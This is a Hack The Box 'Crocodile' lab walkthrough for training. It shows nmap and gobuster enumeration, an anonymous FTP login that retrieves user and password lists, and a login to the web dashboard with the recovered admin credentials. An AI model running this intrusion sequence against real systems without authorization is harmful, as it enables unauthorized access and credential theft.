Title here
Summary here
HTB | Crocodile - Starting Point
Created: Mar 1, 2026
Last edited: Mar 9, 2026
Last edited: Mar 9, 2026
https://app.hackthebox.com/machines/Crocodile/
Crocodile | Walkthrough
| Phase |
|---|
| Reconnaissance |
| Foothold |
Reconnaissance
Using nmap to enumerate all open ports in the target
nmap -sV 10.129.26.163nopedawn@npdn ~/L/H/S/Crocodile> nmap -sC -sV 10.129.26.163
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-01 16:52 WIB
Nmap scan report for 10.129.26.163
Host is up (0.61s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
|_-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.17.49
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Smash - Bootstrap Business Template
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.67 secondsAfter port-scanning using -sC argument (switch employs the use of default scripts), there are two services open in tcp, ftp in port 21 and http in port 80.
21/tcp open ftp vsftpd 3.0.380/tcp open http Apache httpd 2.4.41 ((Ubuntu))
As we can see in ftp, the credential configuration is pretty weak default and successfully logged as anonymous (FTP code 230).
Let’s move on to enumerate http port using gobuster
ⓘ gobuster scan version
I use Gobuster 2 version Gobuster v2.0.1 in here, which may be old/deprecated. So, if you’re using Gobuster 3 or latest version. Use this following command:
gobuster dir -u http://10.129.26.163 -w /usr/share/wordlists/dirb/common.txtJust adding dir argument.
nopedawn@npdn ~/L/H/S/Crocodile> gobuster -u http://10.129.26.163 -w /usr/share/wordlists/dirb/common.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.129.26.163/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2026/03/01 16:28:39 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/css (Status: 301)
/dashboard (Status: 301)
/fonts (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/server-status (Status: 403)
=====================================================
2026/03/01 16:32:17 Finished
=====================================================Seems no findings at common directories, but only /index.html.
After some enumerate, I tried to change wordlists and use another common wordlist.
nopedawn@npdn ~/L/H/S/Crocodile> gobuster -u http://10.129.26.163 -w /usr/share/wordlists/Gobuster/common.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.129.26.163/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/Gobuster/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2026/03/01 17:09:07 Starting gobuster
=====================================================
/assets (Status: 301)
/js (Status: 301)
/css (Status: 301)
/fonts (Status: 301)
/.htaccess (Status: 403)
/config.php (Status: 200)
/login.php (Status: 200)
/logout.php (Status: 302)
/dashboard (Status: 301)
/.htpasswd (Status: 403)
/.htpasswds (Status: 403)
=====================================================
2026/03/01 17:10:33 Finished
=====================================================Bingo! There’s login.php with status code: 200, we can authenticate into it.
nopedawn@npdn ~/L/H/S/Crocodile> curl -v 10.129.26.163/login.php
* Trying 10.129.26.163:80...
* Connected to 10.129.26.163 (10.129.26.163) port 80 (#0)
> GET /login.php HTTP/1.1
> Host: 10.129.26.163
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 Mar 2026 10:14:19 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Set-Cookie: PHPSESSID=17u49tinecm9n4sb3g689pfne9; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 1577
< Content-Type: text/html; charset=UTF-8
<
<!-- HTML code for Bootstrap framework and form design -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/signin.css">
<title>Sign in</title>
</head>
<body>
<div class="container">
<form action="" method="post" name="Login_Form" class="form-signin">
<h2 class="form-signin-heading">Please sign in</h2>
<label for="inputUsername" class="sr-only">Username</label>
<input name="Username" type="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
<label for="inputPassword" class="sr-only">Password</label>
<input name="Password" type="password" id="inputPassword" class="form-control" placeholder="Password" required>
<div class="checkbox">
<label>
<input type="checkbox" value="remember-me"> Remember me
</label>
</div>
<button name="Submit" value="Login" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
</form>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="js/bootstrap.min.js"></script>
</body>
</html>
* Connection #0 to host 10.129.26.163 left intactFoothold
Now, let’s try to login ftp into that host to get credentials breached, use this following command.
ftp 10.129.26.163nopedawn@npdn ~/L/H/S/Crocodile> ftp 10.129.26.163
Connected to 10.129.26.163.
220 (vsFTPd 3.0.3)
Name (10.129.26.163:nopedawn): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||47394|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist
-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd
226 Directory send OK.
ftp>It successfully logged as anonymous. Now grab all that credentials.
ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||43819|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |*****************************************************************| 33 0.14 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.03 KiB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||49315|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |*****************************************************************| 62 0.26 KiB/s 00:00 ETA
226 Transfer complete.
62 bytes received in 00:01 (0.05 KiB/s)
ftp> exit
221 Goodbye.nopedawn@npdn ~/L/H/S/Crocodile> cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
nopedawn@npdn ~/L/H/S/Crocodile> cat allowed.userlist.passwd
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAdThere’s one higher-privilege admin in allowed.userlist and the password is rKXM59ESxesUFHAd in allowed.userlist.passwd.
Tried to authenticate using admin:rKXM59ESxesUFHAd credential
POST /login.php
GET /dashboard/index.php
Source:
https://github.com/matteo741/Gobuster/blob/main/wordlist.txt